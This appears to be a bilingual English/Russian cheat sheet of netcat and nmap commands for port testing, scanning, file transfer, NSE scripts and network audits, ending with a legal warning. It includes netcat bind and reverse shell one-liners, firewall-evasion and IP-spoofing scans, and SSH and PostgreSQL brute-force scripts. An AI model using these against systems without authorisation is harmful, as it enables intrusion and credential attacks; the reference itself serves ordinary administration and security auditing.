nc / nmap — Network Tools

If you like this project, consider supporting me on Buy Me a Coffee ☕️

tags:

• network
• sysadmin

• linux

  nc / nmap — Network Reconnaissance & Port Testing

nc (netcat) is a versatile networking utility for reading/writing data across TCP/UDP connections — often called the "Swiss Army knife" of networking. nmap (Network Mapper) is the industry-standard tool for network discovery and security auditing. Together they cover port scanning, service detection, file transfer, and vulnerability assessment.

📚 Official Docs / Официальная документация: nmap.org · ncat(1)

🔌 netcat — Swiss Army Knife

Port Testing

nc -zv <HOST> 80                              # Test port 80 / Проверить порт 80
nc -zv <HOST> 22                              # Test SSH / Проверить SSH
nc -zv <HOST> 1-1024                          # Scan ports 1-1024 / Сканировать порты 1-1024
nc -zv -w 1 <HOST> 80                         # 1s timeout / Таймаут 1с
nc -zv -u <HOST> 53                           # UDP port test / Проверка UDP порта

Banner Grabbing

echo -e "GET / HTTP/1.0\r\n\r\n" | nc <HOST> 80  # HTTP banner / HTTP баннер
nc <HOST> 22                                  # SSH banner / SSH баннер
nc <HOST> 25                                  # SMTP banner / SMTP баннер
echo "QUIT" | nc <HOST> 21                    # FTP banner / FTP баннер

Listen Mode

nc -l 8080                                    # Listen on port 8080 / Слушать порт 8080
nc -l -p 9999                                 # Listen on port 9999 / Слушать порт 9999
nc -l -k 8080                                 # Keep listening (persist) / Продолжать слушать
nc -l 8080 > received.file                    # Receive file / Получить файл
nc -l 8080 | tar -xzvf -                      # Receive and extract / Получить и распаковать

Connect & Send

nc <HOST> 8080 < file.txt                     # Send file / Отправить файл
cat file.txt | nc <HOST> 8080                 # Alternative / Альтернатива
tar -czf - /dir | nc <HOST> 8080              # Send directory / Отправить директорию

Chat / Backdoor

nc -l 8080                                    # Server / Сервер
nc <HOST> 8080                                # Client / Клиент
# Type messages and press Enter

Execute Commands

nc -l -p 8080 -e /bin/bash                    # Backdoor shell (dangerous!) / Backdoor shell (опасно!)
nc <HOST> 8080 -e /bin/bash                   # Reverse shell / Обратный shell

Proxy

mkfifo /tmp/fifo                              # Create FIFO / Создать FIFO
nc -l 8080 < /tmp/fifo | nc <TARGET> 80 > /tmp/fifo  # Proxy to target / Прокси на цель

🔍 nmap — Port Scanner

Basic Scanning

nmap <HOST>                                   # Scan top 1000 ports / Сканировать top 1000 портов
nmap 192.168.1.0/24                           # Scan subnet / Сканировать подсеть
nmap 192.168.1.1-254                          # Scan range / Сканировать диапазон
nmap <HOST1> <HOST2> <HOST3>                  # Scan multiple hosts / Сканировать несколько хостов

Port Specification

nmap -p 80 <HOST>                             # Scan port 80 / Сканировать порт 80
nmap -p 80,443 <HOST>                         # Scan ports 80 and 443 / Сканировать порты 80 и 443
nmap -p 1-1024 <HOST>                         # Scan ports 1-1024 / Сканировать порты 1-1024
nmap -p- <HOST>                               # Scan all ports / Сканировать все порты
nmap -p T:80,U:53 <HOST>                      # TCP 80 + UDP 53 / TCP 80 + UDP 53

Scan Types

nmap -sS <HOST>                               # SYN scan (stealth) / SYN сканирование (скрытое)
nmap -sT <HOST>                               # TCP connect scan / TCP connect сканирование
nmap -sU <HOST>                               # UDP scan / UDP сканирование
nmap -sA <HOST>                               # ACK scan (firewall detection) / ACK сканирование
nmap -sN <HOST>                               # NULL scan / NULL сканирование
nmap -sF <HOST>                               # FIN scan / FIN сканирование

Service & OS Detection

nmap -sV <HOST>                               # Service version detection / Определение версии сервиса
nmap -O <HOST>                                # OS detection / Определение ОС
nmap -A <HOST>                                # Aggressive scan (OS, version, scripts) / Агрессивное сканирование
nmap -sV --version-intensity 5 <HOST>         # Intense version detection / Интенсивное определение версии

Timing & Performance

nmap -T0 <HOST>                               # Paranoid (slowest) / Параноидальный (самый медленный)
nmap -T1 <HOST>                               # Sneaky / Скрытный
nmap -T2 <HOST>                               # Polite / Вежливый
nmap -T3 <HOST>                               # Normal (default) / Нормальный (по умолчанию)
nmap -T4 <HOST>                               # Aggressive / Агрессивный
nmap -T5 <HOST>                               # Insane (fastest) / Безумный (самый быстрый)

Host Discovery

nmap -sn 192.168.1.0/24                       # Ping scan (no port scan) / Ping сканирование
nmap -Pn <HOST>                               # Skip ping (assume host up) / Пропустить ping
nmap -PS22,80,443 <HOST>                      # TCP SYN ping / TCP SYN ping
nmap -PA22,80,443 <HOST>                      # TCP ACK ping / TCP ACK ping

🔬 Advanced Scanning

Firewall Evasion

nmap -f <HOST>                                # Fragment packets / Фрагментировать пакеты
nmap -D RND:10 <HOST>                         # Decoy scan / Сканирование с приманками
nmap -S <SPOOF_IP> <HOST>                     # Spoof source IP / Подменить исходный IP
nmap --spoof-mac <MAC> <HOST>                 # Spoof MAC address / Подменить MAC адрес
nmap --data-length 25 <HOST>                  # Append random data / Добавить случайные данные

Output Formats

nmap -oN output.txt <HOST>                    # Normal output / Нормальный вывод
nmap -oX output.xml <HOST>                    # XML output / XML вывод
nmap -oG output.grep <HOST>                   # Grepable output / Grepable вывод
nmap -oA output <HOST>                        # All formats / Все форматы

Target Specification

nmap -iL hosts.txt                            # Scan from file / Сканировать из файла
nmap --exclude 192.168.1.5                    # Exclude host / Исключить хост
nmap --excludefile exclude.txt                # Exclude from file / Исключить из файла

📜 NSE Scripts

Script Categories

nmap --script=default <HOST>                  # Default scripts / Скрипты по умолчанию
nmap --script=vuln <HOST>                     # Vulnerability scripts / Скрипты уязвимостей
nmap --script=exploit <HOST>                  # Exploit scripts / Скрипты эксплойтов
nmap --script=auth <HOST>                     # Authentication scripts / Скрипты аутентификации
nmap --script=discovery <HOST>                # Discovery scripts / Скрипты обнаружения

Specific Scripts

nmap --script=http-title <HOST> -p 80         # HTTP title / HTTP заголовок
nmap --script=ssl-cert <HOST> -p 443          # SSL certificate / SSL сертификат
nmap --script=ssh-brute <HOST> -p 22          # SSH brute force / SSH брутфорс
nmap --script=mysql-info <HOST> -p 3306       # MySQL info / MySQL информация

Script Arguments

nmap --script=http-wordpress-enum --script-args http-wordpress-enum.root="/blog/" <HOST>

List Scripts

nmap --script-help=http-*                     # List HTTP scripts / Список HTTP скриптов
# ls /usr/share/nmap/scripts/                   # Browse all scripts

🐛 Troubleshooting

Verbose & Debug

nmap -v <HOST>                                # Verbose / Подробный
nmap -vv <HOST>                               # Extra verbose / Очень подробный
nmap -d <HOST>                                # Debug / Отладочный
nmap -dd <HOST>                               # Extra debug / Очень отладочный

Packet Tracing

nmap --packet-trace <HOST>                    # Show packets / Показать пакеты
nmap --reason <HOST>                          # Show reason for state / Показать причину состояния

IPv6 Scanning

nmap -6 <IPV6_HOST>                           # IPv6 scan / IPv6 сканирование
nmap -6 fe80::1                               # Link-local / Локальный канал

🌟 Real-World Examples

Network Discovery

# Discover live hosts
nmap -sn 192.168.1.0/24 -oG - | grep "Up" | awk '{print $2}'

# Quick scan of live hosts
nmap -T4 -F 192.168.1.0/24

Vulnerability Scanning

# Scan for vulnerabilities
nmap -Pn --script vuln <HOST>

# Check for Heartbleed
nmap -p 443 --script ssl-heartbleed <HOST>

# Check SMB vulnerabilities
nmap --script smb-vuln* <HOST> -p 445

Web Server Audit

# Comprehensive web scan
nmap -p 80,443 --script=http-enum,http-headers,http-methods,http-title <HOST>

# Check for common vulnerabilities
nmap -p 80,443 --script=http-sql-injection,http-csrf,http-stored-xss <HOST>

Database Scanning

# MySQL scan
nmap -p 3306 --script mysql-info,mysql-enum <HOST>

# PostgreSQL scan
nmap -p 5432 --script pgsql-brute <HOST>

# MongoDB scan
nmap -p 27017 --script mongodb-info <HOST>

Quick Port Check

# Check if port is open
nc -zv <HOST> 80 && echo "Port 80 OPEN" || echo "Port 80 CLOSED"

# Check multiple services
for port in 22 80 443 3306; do
  nc -zv -w 1 <HOST> $port 2>&1 | grep succeeded && echo "Port $port OPEN"
done

File Transfer

# Send file with nc
# Receiver
nc -l 8080 > received.tar.gz

# Sender
cat file.tar.gz | nc <HOST> 8080

# With progress
pv file.tar.gz | nc <HOST> 8080

Remote Command Execution

# Execute command via nc
echo "ls -la" | nc <HOST> 8080

# Interactive shell
nc <HOST> 8080

Network Baseline

# Create baseline
nmap -sV -O -oA baseline-$(date +%F) 192.168.1.0/24

# Compare scans
ndiff baseline-2025-02-01.xml baseline-2025-02-04.xml

Docker Container Scanning

# Scan Docker host
nmap -p 2375,2376 <HOST>

# Scan for exposed Docker API
nmap -p 2375 --script docker-version <HOST>

Kubernetes Cluster Scan

# Scan K8s API
nmap -p 6443,10250,10255 <K8S_NODE>

# Check for open kubelet
nmap -p 10250 --script=banner <K8S_NODE>

💡 Best Practices

• Use -Pn for hosts behind firewall / Используйте -Pn для хостов за фаерволом
• Start with -T4 for reasonable speed / Начните с -T4 для разумной скорости
• Use -sV only when needed / Используйте -sV только когда нужно
• Save scans with -oA for later analysis / Сохраняйте сканирования с -oA для последующего анализа
• Use nc for quick port checks / Используйте nc для быстрых проверок портов

🔧 Common nmap Scan Types

📋 netcat Variants

⚠️ Legal Warning

• Only scan networks you have permission to scan / Сканируйте только сети на которые у вас есть разрешение
• Unauthorized scanning may be illegal / Несанкционированное сканирование может быть незаконным
• Always get written permission first / Всегда получайте письменное разрешение сначала

📚 Documentation Links

• ncat Man Page
• Nmap Official Site